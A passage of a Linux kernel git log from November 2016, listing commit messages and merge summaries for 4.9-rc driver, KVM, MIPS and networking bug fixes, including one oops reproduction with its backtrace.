file changed, 4 insertions(+), 3 deletions(-) commit 56211121c0825cd188caad05574fdc518d5cac6f Author: Mika Westerberg Date: Mon Oct 31 16:57:32 2016 +0200 pinctrl: cherryview: Serialize register access in suspend/resume If async suspend is enabled, the driver may access registers concurrently with another instance which may fail because of the bug in Cherryview GPIO hardware. Prevent this by taking the shared lock while accessing the hardware in suspend and resume hooks. Cc: stable@vger.kernel.org Signed-off-by: Mika Westerberg Signed-off-by: Linus Walleij drivers/pinctrl/intel/pinctrl-cherryview.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit d4c5f43dcd05529236a0f957b27d2597c24e5f69 Merge: 66cecb6 7ec30fc Author: Linus Torvalds Date: Fri Nov 4 13:30:13 2016 -0700 Merge tag 'drm-fixes-for-v4.9-rc4' of git://people.freedesktop.org/~airlied/linux Pull drm fixes from Dave Airlie: "Fixes for amdgpu, radeon, intel, imx and virtio-gpu. This is a bit larger than I'd like, but I had some stuff I meant to send for -rc3 but was waiting for the PAT regression fix to land. So this is really fixes for rc3 and rc4 in one go. There are a set of fixes for an oops we've been seeing around MST display unplug, along with more suspend/resume and shutdown fixes for amdgpu, one power management follow on fix for nouveau, and set of imx fixes, and a single virtio-gpu regression fix" * tag 'drm-fixes-for-v4.9-rc4' of git://people.freedesktop.org/~airlied/linux: (54 commits) virtio-gpu: fix vblank events drm/nouveau/acpi: fix check for power resources support drm/i915: Fix SKL+ 90/270 degree rotated plane coordinate computation drm/i915: Remove two invalid warns drm/i915: Rotated view does not need a fence drm/i915/fbc: fix CFB size calculation for gen8+ drm: i915: Wait for fences on new fb, not old drm/i915: Clean up DDI DDC/AUX CH sanitation drm/i915: Respect alternate_aux_channel for all DDI ports drm/i915/gen9: fix watermarks when using the pipe scaler drm/i915: Fix mismatched INIT power domain disabling during suspend drm/i915: fix a read size argument drm/i915: Use fence_write() from rpm resume drm/i915/gen9: fix DDB partitioning for multi-screen cases drm/i915: workaround sparse warning on variable length arrays drm/i915: keep declarations in i915_drv.h drm/amd/powerplay: fix bug get wrong evv voltage of Polaris. drm/amdgpu/si_dpm: workaround for SI kickers drm/radeon/si_dpm: workaround for SI kickers drm/amdgpu: fix s3 resume back, uvd dpm randomly can't disable. ... commit 416379f9ebded501eda882e6af0a7aafc1866700 Author: Niklas Cassel Date: Fri Oct 14 23:54:55 2016 +0200 PCI: designware: Check for iATU unroll support after initializing host dw_pcie_iatu_unroll_enabled() reads a dbi_base register. Reading any dbi_base register before pp->ops->host_init has been called causes "imprecise external abort" on platforms like ARTPEC-6, where the PCIe module is disabled at boot and first enabled in pp->ops->host_init. Move dw_pcie_iatu_unroll_enabled() to dw_pcie_setup_rc(), since it is after pp->ops->host_init, but before pp->iatu_unroll_enabled is actually used. Fixes: a0601a470537 ("PCI: designware: Add iATU Unroll feature") Tested-by: James Le Cuirot Signed-off-by: Niklas Cassel Signed-off-by: Bjorn Helgaas Acked-by: Joao Pinto Acked-by: Olof Johansson drivers/pci/host/pcie-designware.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 66cecb67894b35c6af17eb4e6b6aaec6c8957c2e Merge: 34c510b d9092f5 Author: Linus Torvalds Date: Fri Nov 4 13:08:05 2016 -0700 Merge tag 'for-linus' of git://git.kernel.org/pub/scm/virt/kvm/kvm Pull KVM updates from Paolo Bonzini: "One NULL pointer dereference, and two fixes for regressions introduced during the merge window. The rest are fixes for MIPS, s390 and nested VMX" * tag 'for-linus' of git://git.kernel.org/pub/scm/virt/kvm/kvm: kvm: x86: Check memopp before dereference (CVE-2016-8630) kvm: nVMX: VMCLEAR an active shadow VMCS after last use KVM: x86: drop TSC offsetting kvm_x86_ops to fix KVM_GET/SET_CLOCK KVM: x86: fix wbinvd_dirty_mask use-after-free kvm/x86: Show WRMSR data is in hex kvm: nVMX: Fix kernel panics induced by illegal INVEPT/INVVPID types KVM: document lock orders KVM: fix OOPS on flush_work KVM: s390: Fix STHYI buffer alignment for diag224 KVM: MIPS: Precalculate MMIO load resume PC KVM: MIPS: Make ERET handle ERL before EXL KVM: MIPS: Fix lazy user ASID regenerate for SMP commit f8f93bc9d2a29c81cc6a4e6d7c87a6f712dbbeeb Merge: bdc3478 0b203d6 Author: Takashi Iwai Date: Fri Nov 4 21:04:44 2016 +0100 Merge tag 'asoc-fix-v4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/sound into for-linus ASoC: Fixes for v4.9 The most important fix in here is a change which removes the #error making the topology API unusable as-is since we have recently discovered some production uses on Chromebooks so need to acknowledge that what we've got there now is an ABI. There's also a very big batch of driver specific fixes here which have kept on being delayed due to more arriving so the update is another of these bigger than I would like ones. There is one especially big one in there, for the Qualcomm code which fixes simultaneous playback and capture which was broken during the merge window. The diff for that is large because it moves blocks of code to different functions but it's functionally fairly simple and if it breaks it should have been very obvious in testing. commit 34c510b2eecd2fb8414998f54ce12c94e16d78a0 Merge: f7df76e 16a767e Author: Linus Torvalds Date: Fri Nov 4 13:03:57 2016 -0700 Merge branch 'upstream' of git://git.linux-mips.org/pub/scm/ralf/upstream-linus Pull MIPS fixes from Ralf Baechle: "A set of MIPS fixes for 4.9: - lots of fixes for printk continuations - six fixes for FP related code. - fix max_low_pfn with disabled highmem - fix KASLR handling of NULL FDT and KASLR for generic kernels - fix build of compressed image - provide default mips_cpc_default_phys_base to ignore CPC - fix reboot on Malta" * 'upstream' of git://git.linux-mips.org/pub/scm/ralf/upstream-linus: MIPS: Fix max_low_pfn with disabled highmem MIPS: Correct MIPS I FP sigcontext layout MIPS: Fix ISA I/II FP signal context offsets MIPS: Remove FIR from ISA I FP signal context MIPS: Fix ISA I FP sigcontext access violation handling MIPS: Fix FCSR Cause bit handling for correct SIGFPE issue MIPS: ptrace: Also initialize the FP context on individual FCSR writes MIPS: dump_tlb: Fix printk continuations MIPS: Fix __show_regs() output MIPS: traps: Fix output of show_code MIPS: traps: Fix output of show_stacktrace MIPS: traps: Fix output of show_backtrace MIPS: Fix build of compressed image MIPS: generic: Fix KASLR for generic kernel. MIPS: KASLR: Fix handling of NULL FDT MIPS: Malta: Fixup reboot MIPS: CPC: Provide default mips_cpc_default_phys_base to ignore CPC commit f7df76e6acc9d90f9ba9a871b8683c921b556410 Merge: 577f12c 18088db Author: Linus Torvalds Date: Fri Nov 4 13:01:13 2016 -0700 Merge branch 'parisc-4.9-3' of git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux Pull parisc updates from Helge Deller: "The first three patches are trivial and add some required KERN_CONT, ignore the new pkey syscalls on parisc and use the LINUX_GATEWAY_ADDR define instead of hardcoded values. The two patches from Dave Anglin are important. The first one avoids trashing the sr2 and sr3 space registers in the Light-weight syscall path. Especially the usage of sr3 is critical since it may get trashed by the interrupt handler. The second patch is even more important and tagged for stable series. It protects one critical section in the syscall entry path by disabling local interrupts. Without disabling interrupts, the sr7 space register may not be in sync with the current stack setup and thus an incoming hardware interrupt may destroy memory in random userspace areas" * 'parisc-4.9-3' of git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux: parisc: Ignore the pkey system calls for now parisc: Use LINUX_GATEWAY_ADDR define instead of hardcoded value parisc: Ensure consistent state when switching to kernel stack at syscall entry parisc: Avoid trashing sr2 and sr3 in LWS code parisc: use KERN_CONT when printing device inventory commit 147b36d5b70c083cc76770c47d60b347e8eaf231 Author: Vladimir Zapolskiy Date: Mon Oct 31 21:46:24 2016 +0200 i2c: core: fix NULL pointer dereference under race condition Race condition between registering an I2C device driver and deregistering an I2C adapter device which is assumed to manage that I2C device may lead to a NULL pointer dereference due to the uninitialized list head of driver clients. The root cause of the issue is that the I2C bus may know about the registered device driver and thus it is matched by bus_for_each_drv(), but the list of clients is not initialized and commonly it is NULL, because I2C device drivers define struct i2c_driver as static and clients field is expected to be initialized by I2C core: i2c_register_driver() i2c_del_adapter() driver_register() ... bus_add_driver() ... ... bus_for_each_drv(..., __process_removed_adapter) ... i2c_do_del_adapter() ... list_for_each_entry_safe(..., &driver->clients, ...) INIT_LIST_HEAD(&driver->clients); To solve the problem it is sufficient to do clients list head initialization before calling driver_register(). The problem was found while using an I2C device driver with a sluggish registration routine on a bus provided by a physically detachable I2C master controller, but practically the oops may be reproduced under the race between arbitraty I2C device driver registration and managing I2C bus device removal e.g. by unbinding the latter over sysfs: % echo 21a4000.i2c > /sys/bus/platform/drivers/imx-i2c/unbind Unable to handle kernel NULL pointer dereference at virtual address 00000000 Internal error: Oops: 17 [#1] SMP ARM CPU: 2 PID: 533 Comm: sh Not tainted 4.9.0-rc3+ #61 Hardware name: Freescale i.MX6 Quad/DualLite (Device Tree) task: e5ada400 task.stack: e4936000 PC is at i2c_do_del_adapter+0x20/0xcc LR is at __process_removed_adapter+0x14/0x1c Flags: NzCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment none Control: 10c5387d Table: 35bd004a DAC: 00000051 Process sh (pid: 533, stack limit = 0xe4936210) Stack: (0xe4937d28 to 0xe4938000) Backtrace: [] (i2c_do_del_adapter) from [] (__process_removed_adapter+0x14/0x1c) [] (__process_removed_adapter) from [] (bus_for_each_drv+0x6c/0xa0) [] (bus_for_each_drv) from [] (i2c_del_adapter+0xbc/0x284) [] (i2c_del_adapter) from [] (i2c_imx_remove+0x44/0x164 [i2c_imx]) [] (i2c_imx_remove [i2c_imx]) from [] (platform_drv_remove+0x2c/0x44) [] (platform_drv_remove) from [] (__device_release_driver+0x90/0x12c) [] (__device_release_driver) from [] (device_release_driver+0x28/0x34) [] (device_release_driver) from [] (unbind_store+0x80/0x104) [] (unbind_store) from [] (drv_attr_store+0x28/0x34) [] (drv_attr_store) from [] (sysfs_kf_write+0x50/0x54) [] (sysfs_kf_write) from [] (kernfs_fop_write+0x100/0x214) [] (kernfs_fop_write) from [] (__vfs_write+0x34/0x120) [] (__vfs_write) from [] (vfs_write+0xa8/0x170) [] (vfs_write) from [] (SyS_write+0x4c/0xa8) [] (SyS_write) from [] (ret_fast_syscall+0x0/0x1c) Signed-off-by: Vladimir Zapolskiy Signed-off-by: Wolfram Sang Cc: stable@kernel.org drivers/i2c/i2c-core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6a0c9f6888904c9c0959a0d367fffe8f7ce3a9e9 Merge: 243d521 0e97a34 Author: David S. Miller Date: Fri Nov 4 14:59:38 2016 -0400 Merge branch 'mlx5-fixes' Saeed Mahameed says: ==================== Mellanox 100G mlx5 fixes 2016-11-04 This series contains six hot fixes of the mlx5 core and mlx5e driver. Huy fixed an invalid pointer dereference on initialization flow for when the selected mlx5 load profile is out of range. Or provided three eswitch offloads related fixes - Prevent changing NS of a VF representor. - Handle matching on vlan priority for offloaded TC rules - Set the actions for offloaded rules properly On my part I here addressed the error flow related issues in mlx5e_open_channel reported by Jesper just this week. ==================== Signed-off-by: David S. Miller commit 0e97a34083a03c931d4e9b34ba7899c29a09dce6 Author: Huy Nguyen Date: Fri Nov 4 01:48:47 2016 +0200 net/mlx5: Fix invalid pointer reference when prof_sel parameter is invalid When prof_sel is invalid, mlx5_core_warn is called but the mlx5_core_dev is not initialized yet. Solution is moving the prof_sel code after dev->pdev assignment Fixes: 2974ab6e8bd8 ('net/mlx5: Improve driver log messages') Signed-off-by: Huy Nguyen Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/main.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit ee39fbc4447d5c42640963b559bf68490cb45308 Author: Or Gerlitz Date: Fri Nov 4 01:48:46 2016 +0200 net/mlx5: E-Switch, Set the actions for offloaded rules properly As for the current generation of the mlx5 HW (CX4/CX4-Lx) per flow vlan push/pop actions are emulated, we must not program them to the firmware. Fixes: f5f82476090f ('net/mlx5: E-Switch, Support VLAN actions in the offloads mode') Signed-off-by: Or Gerlitz Reported-by: Paul Blakey Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/eswitch_offloads.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 358d79a47e5a8db83925241629252cfe64f225f7 Author: Or Gerlitz Date: Fri Nov 4 01:48:45 2016 +0200 net/mlx5e: Handle matching on vlan priority for offloaded TC rules We ignored the vlan priority in offloaded TC rules matching part, fix that. Fixes: 095b6cfd69ce ('net/mlx5e: Add TC vlan match parsing') Signed-off-by: Or Gerlitz Reported-by: Paul Blakey Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en_tc.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit abd3277287c7743d3999b801c6769e8ad1b381dd Author: Or Gerlitz Date: Fri Nov 4 01:48:44 2016 +0200 net/mlx5e: Disallow changing name-space for VF representors VF reps should be altogether on the same NS as they were created. Signed-off-by: Or Gerlitz Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en_rep.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d7a0ecab380c62ccd9fbe2e08dd720f7a367d6ee Author: Saeed Mahameed Date: Fri Nov 4 01:48:43 2016 +0200 net/mlx5e: Re-arrange XDP SQ/CQ creation In mlx5e_open_channel CQs must be created before napi is enabled. Here we move the XDP CQ creation to satisfy that fact. mlx5e_close_channel is already working according to the right order. Fixes: b5503b994ed5 ("net/mlx5e: XDP TX forwarding support") Signed-off-by: Saeed Mahameed Reported-by: Jesper Dangaard Brouer Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 32 +++++++++++------------ 1 file changed, 15 insertions(+), 17 deletions(-) commit 87dc02551c509703123a60dd7f043d75e92a6aed Author: Saeed Mahameed Date: Fri Nov 4 01:48:42 2016 +0200 net/mlx5e: Fix XDP error path of mlx5e_open_channel() In case of mlx5e_open_rq fails the error handling will jump to label err_close_xdp_sq and will try to close the xdp_sq unconditionally. xdp_sq is valid only in case of XDP use cases, i.e priv->xdp_prog is not null. To fix this in this patch we test xdp_sq validity prior to closing it. In addition we now close the xdp_sq.cq as well. Fixes: b5503b994ed5 ("net/mlx5e: XDP TX forwarding support") Signed-off-by: Saeed Mahameed Reported-by: Jesper Dangaard Brouer Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 0b203d699e08424288b5f3eab1347143dd5d1e68 Merge: 3dfd2b6 7c45e3c Author: Mark Brown Date: Fri Nov 4 12:34:05 2016 -0600 Merge remote-tracking branch 'asoc/fix/topology-abi' into asoc-linus commit 3dfd2b682b79bde2c4ebbb7ed9f4dc90c0eb4677 Merge: 74d01b1 c975e39 a451332 1e6d304 7e235de 3716a89 8b0678d Author: Mark Brown Date: Fri Nov 4 12:33:56 2016 -0600 Merge remote-tracking branches 'asoc/fix/rt5663', 'asoc/fix/samsung', 'asoc/fix/sti', 'asoc/fix/sti-codec', 'asoc/fix/sunxi' and 'asoc/fix/tas571x' into asoc-linus commit 74d01b140f52bfe09611361d5c7e6777a6fdadd4 Merge: 56eba7a aa5f920 d64b5bf 340327a 5229f1f 9420179 f515c38 Author: Mark Brown Date: Fri Nov 4 12:33:48 2016 -0600 Merge remote-tracking branches 'asoc/fix/cs4270', 'asoc/fix/da7219', 'asoc/fix/hdmi-codec', 'asoc/fix/pxa', 'asoc/fix/qcom' and 'asoc/fix/rt298' into asoc-linus commit 56eba7a15bbd239b56e2586012501df7b9d201cc Merge: a909d3e 7a5857c Author: Mark Brown Date: Fri Nov 4 12:33:45 2016 -0600 Merge remote-tracking branch 'asoc/fix/intel' into asoc-linus commit d42c79701a3ee5c38fbbc82f98a140420bd40134 Author: Shih-Wei Li Date: Thu Oct 27 15:08:13 2016 +0000 KVM: arm/arm64: vgic: Kick VCPUs when queueing already pending IRQs In cases like IPI, we could be queueing an interrupt for a VCPU that is already running and is not about to exit, because the VCPU has entered the VM with the interrupt pending and would not trap on EOI'ing that interrupt. This could result to delays in interrupt deliveries or even loss of interrupts. To guarantee prompt interrupt injection, here we have to try to kick the VCPU. Signed-off-by: Shih-Wei Li Reviewed-by: Christoffer Dall Signed-off-by: Marc Zyngier virt/kvm/arm/vgic/vgic.c | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit 112b0b8f8f6e18d4695d21457961c0e1b322a1d7 Author: Andre Przywara Date: Tue Nov 1 18:00:08 2016 +0000 KVM: arm/arm64: vgic: Prevent access to invalid SPIs In our VGIC implementation we limit the number of SPIs to a number that the userland application told us. Accordingly we limit the allocation of memory for virtual IRQs to that number. However in our MMIO dispatcher we didn't check if we ever access an IRQ beyond that limit, leading to out-of-bound accesses. Add a test against the number of allocated SPIs in check_region(). Adjust the VGIC_ADDR_TO_INT macro to avoid an actual division, which is not implemented on ARM(32). [maz: cleaned-up original patch] Cc: stable@vger.kernel.org Reviewed-by: Christoffer Dall Signed-off-by: Andre Przywara Signed-off-by: Marc Zyngier virt/kvm/arm/vgic/vgic-mmio.c | 41 +++++++++++++++++++++++++++-------------- virt/kvm/arm/vgic/vgic-mmio.h | 14 +++++++------- 2 files changed, 34 insertions(+), 21 deletions(-) commit 94d0e5980d6791b9f98a9b6c586c1f7cb76b2178 Author: Marc Zyngier Date: Tue Oct 18 18:37:49 2016 +0100 arm/arm64: KVM: Perform local TLB invalidation when multiplexing vcpus on a single CPU Architecturally, TLBs are private to the (physical) CPU they're associated with. But when multiple vcpus from the same VM are being multiplexed on the same CPU, the TLBs are not private to the vcpus (and are actually shared across the VMID). Let's consider the following scenario: - vcpu-0 maps PA to VA - vcpu-1 maps PA' to VA If run on the same physical CPU, vcpu-1 can hit TLB entries generated by vcpu-0 accesses, and access the wrong physical page. The solution to this is to keep a per-VM map of which vcpu ran last on each given physical CPU, and invalidate local TLBs when switching to a different vcpu from the same VM. Reviewed-by: Christoffer Dall Signed-off-by: Marc Zyngier arch/arm/include/asm/kvm_asm.h | 1 + arch/arm/include/asm/kvm_host.h | 3 +++ arch/arm/include/asm/kvm_hyp.h | 1 + arch/arm/kvm/arm.c | 27 ++++++++++++++++++++++++++- arch/arm/kvm/hyp/tlb.c | 15 +++++++++++++++ arch/arm64/include/asm/kvm_asm.h | 1 + arch/arm64/include/asm/kvm_host.h | 3 +++ arch/arm64/include/asm/kvm_mmu.h | 2 +- arch/arm64/kvm/hyp/tlb.c | 15 +++++++++++++++ 9 files changed, 66 insertions(+), 2 deletions(-) commit 16976085a114ae293c6fa7a463d74600ffcfeb4b Author: Archit Taneja Date: Thu Nov 3 17:36:18 2016 +0530 drm/msm: Fix error handling crashes seen when VRAM allocation fails If VRAM allocation fails, the error handling path crashes in msm_drm_uninit(). The following changes are made to fix this: msm_gem_shrinker_cleanup() is fixed to unregister the shrinker only if it was init-ed in the first place. Before calling kms->funcs->destroy(), we check if kms->funcs is also non-NULL. This is needed for MDP5, since during msm_drm_int(), priv->kms becomes non-NULL early, but msm_kms_init() is called on it only later in mdp5_kms_init(). Signed-off-by: Archit Taneja Signed-off-by: Rob Clark Reviewed-by: Andy Gross drivers/gpu/drm/msm/msm_drv.c | 2 +- drivers/gpu/drm/msm/msm_gem_shrinker.c | 7 +++++-- 2 files changed, 6 insertions(+), 3 deletions(-) commit e13258f38e927b61cdb5f4ad25309450d3b127d1 Author: Sven Eckelmann Date: Sat Oct 29 09:18:43 2016 +0200 batman-adv: Detect missing primaryif during tp_send as error The throughput meter detects different situations as problems for the current test. It stops the test after these and reports it to userspace. This also has to be done when the primary interface disappeared during the test. Fixes: 33a3bb4a3345 ("batman-adv: throughput meter implementation") Reported-by: Joe Perches Signed-off-by: Sven Eckelmann Signed-off-by: Simon Wunderlich net/batman-adv/tp_meter.c | 1 + 1 file changed, 1 insertion(+) commit 27915aa61060fd8954a68a86657784705955088a Author: Sven Eckelmann Date: Wed Nov 2 18:14:43 2016 +0100 batman-adv: Revert "fix splat on disabling an interface" The commit 9799c50372b2 ("batman-adv: fix splat on disabling an interface") fixed a warning but at the same time broke the rtnl function add_slave for devices which were temporarily removed. batadv_softif_slave_add requires soft_iface of and hard_iface to be NULL before it is allowed to be enslaved. But this resetting of soft_iface to NULL in batadv_hardif_disable_interface was removed with the aforementioned commit. Reported-by: Julian Labus Signed-off-by: Sven Eckelmann Acked-by: Linus Lüssing Signed-off-by: Simon Wunderlich net/batman-adv/hard-interface.c | 1 + 1 file changed, 1 insertion(+) commit ac95330b96376550ae7a533d1396272d675adfa2 Author: Stéphan Rafin Date: Fri Nov 4 00:53:56 2016 +0100 clk: sunxi: Fix M factor computation for APB1 commit cfa636886033 ("clk: sunxi: factors: Consolidate get_factors parameters into a struct") introduced a regression for m factor computation in sun4i_get_apb1_factors function. The old code reassigned the "parent_rate" parameter to the targeted divisor value and was buggy for the returned frequency but not for the computed factors. Now, returned frequency is good but m factor is incorrectly computed (its max value 31 is always set resulting in a significantly slower frequency than the requested one...) This patch simply restores the original proper computation for m while keeping the good changes for returned rate. Fixes: cfa636886033 ("clk: sunxi: factors: Consolidate get_factors parameters into a struct") Signed-off-by: Stéphan Rafin Signed-off-by: Maxime Ripard drivers/clk/sunxi/clk-sunxi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 16a767ec63167ef70c056795782d6c9c76ba5a5c Author: James Hogan Date: Tue Nov 1 13:59:09 2016 +0000 MIPS: Fix max_low_pfn with disabled highmem When low memory doesn't reach HIGHMEM_START (e.g. up to 256MB at PA=0 is common) and highmem is present above HIGHMEM_START (e.g. on Malta the RAM overlayed by the IO region is aliased at PA=0x90000000), max_low_pfn will be initially calculated very large and then clipped down to HIGHMEM_START. This causes crashes when reading /sys/kernel/mm/page_idle/bitmap (i.e. CONFIG_IDLE_PAGE_TRACKING=y) when highmem is disabled. pfn_valid() will compare against max_mapnr which is derived from max_low_pfn when there is no highend_pfn set up, and will return true for PFNs right up to HIGHMEM_START, even though they are beyond the end of low memory and no page structs will actually exist for these PFNs. This is fixed by skipping high memory regions when initially calculating max_low_pfn if highmem is disabled, so it doesn't get clipped too high. We also clip regions which overlap the highmem boundary when highmem is disabled, so that max_pfn doesn't extend into highmem either. Signed-off-by: James Hogan Cc: Paul Burton Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14490/ Signed-off-by: Ralf Baechle arch/mips/kernel/setup.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit f92722dc4545ebfa0f99a2f986fd88c112a22a42 Author: Maciej W. Rozycki Date: Mon Oct 31 16:27:40 2016 +0000 MIPS: Correct MIPS I FP sigcontext layout Complement commit 80cbfad79096 ("MIPS: Correct MIPS I FP context layout") and correct the way Floating Point General registers are stored in a signal context with MIPS I hardware. Use the S.D and L.D assembly macros to have pairs of SWC1 instructions and pairs of LWC1 instructions produced, respectively, in an arrangement which makes the memory representation of floating-point data passed compatible with that used by hardware SDC1 and LDC1 instructions, where available, regardless of the hardware endianness used. This matches the layout used by r4k_fpu.S, ensuring run-time compatibility for MIPS I software across all o32 hardware platforms. Define an EX2 macro to handle exceptions from both hardware instructions implicitly produced from S.D and L.D assembly macros. Signed-off-by: Maciej W. Rozycki Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14477/ Signed-off-by: Ralf Baechle arch/mips/kernel/r2300_fpu.S | 103 ++++++++++++++++--------------------------- 1 file changed, 39 insertions(+), 64 deletions(-) commit 758ef0a939d4c003381d2a97d9fb51b2d6d7e162 Author: Maciej W. Rozycki Date: Mon Oct 31 16:27:01 2016 +0000 MIPS: Fix ISA I/II FP signal context offsets Fix a regression introduced with commit 2db9ca0a3551 ("MIPS: Use struct mips_abi offsets to save FP context") for MIPS I/I FP signal contexts, by converting save/restore code to the updated internal API. Start FGR offsets from 0 rather than SC_FPREGS from $a0 and use $a1 rather than the offset of SC_FPC_CSR from $a0 for the Floating Point Control/Status Register (FCSR). Document the new internal API and adjust assembly code formatting for consistency. Signed-off-by: Maciej W. Rozycki Cc: Paul Burton Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14476/ Signed-off-by: Ralf Baechle arch/mips/kernel/r2300_fpu.S | 159 ++++++++++++++++++++++--------------------- arch/mips/kernel/r6000_fpu.S | 89 +++++++++++++----------- 2 files changed, 131 insertions(+), 117 deletions(-) commit 6daaa3266db9cc488612690e42c23b0763e2b49a Author: Maciej W. Rozycki Date: Mon Oct 31 16:26:24 2016 +0000 MIPS: Remove FIR from ISA I FP signal context Complement commit e50c0a8fa60d ("Support the MIPS32 / MIPS64 DSP ASE.") and remove the Floating Point Implementation Register (FIR) from the FP register set recorded in a signal context with MIPS I processors too, in line with the change applied to r4k_fpu.S. The `sc_fpc_eir' slot is unused according to our current ABI and the FIR register is read-only and always directly accessible from user software. [ralf@linux-mips.org: This is also required because the next commit depends on it.] Signed-off-by: Maciej W. Rozycki Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14475/ Signed-off-by: Ralf Baechle arch/mips/kernel/r2300_fpu.S | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit 35938a00ba86ae7a7404b66b526968ca2b8d3127 Author: Maciej W. Rozycki Date: Mon Oct 31 16:25:44 2016 +0000 MIPS: Fix ISA I FP sigcontext access violation handling Complement commit 0ae8dceaebe3 ("Merge with 2.3.10.") and use the local `fault' handler to recover from FP sigcontext access violation faults, like corresponding code does in r4k_fpu.S. The `bad_stack' handler is in syscall.c and is not suitable here as we want to propagate the error condition up through the caller rather than killing the thread outright. Signed-off-by: Maciej W. Rozycki Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14474/ Signed-off-by: Ralf Baechle arch/mips/kernel/r2300_fpu.S | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5a1aca4469fdccd5b74ba0b4e490173b2b447895 Author: Maciej W. Rozycki Date: Fri Oct 28 08:21:03 2016 +0100 MIPS: Fix FCSR Cause bit handling for correct SIGFPE issue Sanitize FCSR Cause bit handling, following a trail of past attempts: * commit 4249548454f7 ("MIPS: ptrace: Fix FP context restoration FCSR regression"), * commit 443c44032a54 ("MIPS: Always clear FCSR cause bits after emulation"), * commit 64bedffe4968 ("MIPS: Clear [MSA]FPE CSR.Cause after notify_die()"), * commit b1442d39fac2 ("MIPS: Prevent user from setting FCSR cause bits"), * commit b54d2901517d ("Properly handle branch delay slots in connection with signals."). Specifically do not mask these bits out in ptrace(2) processing and send a SIGFPE signal instead whenever a matching pair of an FCSR Cause and Enable bit is seen as execution of an affected context is about to resume. Only then clear Cause bits, and even then do not clear any bits that are set but masked with the respective Enable bits. Adjust Cause bit clearing throughout code likewise, except within the FPU emulator proper where they are set according to IEEE 754 exceptions raised as the operation emulated executed. Do so so that any IEEE 754 exceptions subject to their default handling are recorded like with operations executed by FPU hardware. Signed-off-by: Maciej W. Rozycki Cc: Paul Burton Cc: James Hogan Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14460/ Signed-off-by: Ralf Baechle arch/mips/include/asm/fpu_emulator.h | 13 +++++++ arch/mips/include/asm/switch_to.h | 18 +++++++++ arch/mips/kernel/mips-r2-to-r6-emul.c | 10 ++--- arch/mips/kernel/ptrace.c | 7 ++-- arch/mips/kernel/traps.c | 72 +++++++++++++++++++---------------- 5 files changed, 78 insertions(+), 42 deletions(-) commit c9e5603974573367c4d80964a845237a2297228c Author: Maciej W. Rozycki Date: Fri Oct 28 08:20:09 2016 +0100 MIPS: ptrace: Also initialize the FP context on individual FCSR writes Complement commit ac9ad83bc318 ("MIPS: prevent FP context set via ptrace being discarded") and also initialize the FP context whenever FCSR alone is written with a PTRACE_POKEUSR request addressing FPC_CSR, rather than along with the full FPU register set in the case of the PTRACE_SETFPREGS request. Signed-off-by: Maciej W. Rozycki Cc: Paul Burton Cc: James Hogan Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14459/ Signed-off-by: Ralf Baechle arch/mips/kernel/ptrace.c | 1 + 1 file changed, 1 insertion(+) commit 8a98495c7008d5bdede3d53e05e69ecdc0bc614b Author: James Hogan Date: Fri Oct 21 20:06:40 2016 +0100 MIPS: dump_tlb: Fix printk continuations Since commit 4bcc595ccd80 ("printk: reinstate KERN_CONT for printing continuation lines") the output from TLB dumps on MIPS has been pretty unreadable due to the lack of KERN_CONT markers. Use pr_cont to provide the appropriate markers & restore the expected output. Continuation is also used for the second line of each TLB entry printed in dump_tlb.c even though it has a newline, since it is a continuation of the interpretation of the same TLB entry. For example: [ 46.371884] Index: 0 pgmask=16kb va=77654000 asid=73 gid=00 [ri=0 xi=0 pa=ffc18000 c=5 d=0 v=1 g=0] [ri=0 xi=0 pa=ffc1c000 c=5 d=0 v=1 g=0] [ 46.385380] Index: 12 pgmask=16kb va=004b4000 asid=73 gid=00 [ri=0 xi=0 pa=00000000 c=0 d=0 v=0 g=0] [ri=0 xi=0 pa=ffb00000 c=5 d=1 v=1 g=0] Signed-off-by: James Hogan Cc: Maciej W. Rozycki Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14444/ Signed-off-by: Ralf Baechle arch/mips/lib/dump_tlb.c | 44 ++++++++++++++++++++++---------------------- arch/mips/lib/r3k_dump_tlb.c | 18 +++++++++--------- 2 files changed, 31 insertions(+), 31 deletions(-) commit 752f5499823edb0c13c594f739363527178f714d Author: Paul Burton Date: Wed Oct 19 14:33:23 2016 +0100 MIPS: Fix __show_regs() output Since commit 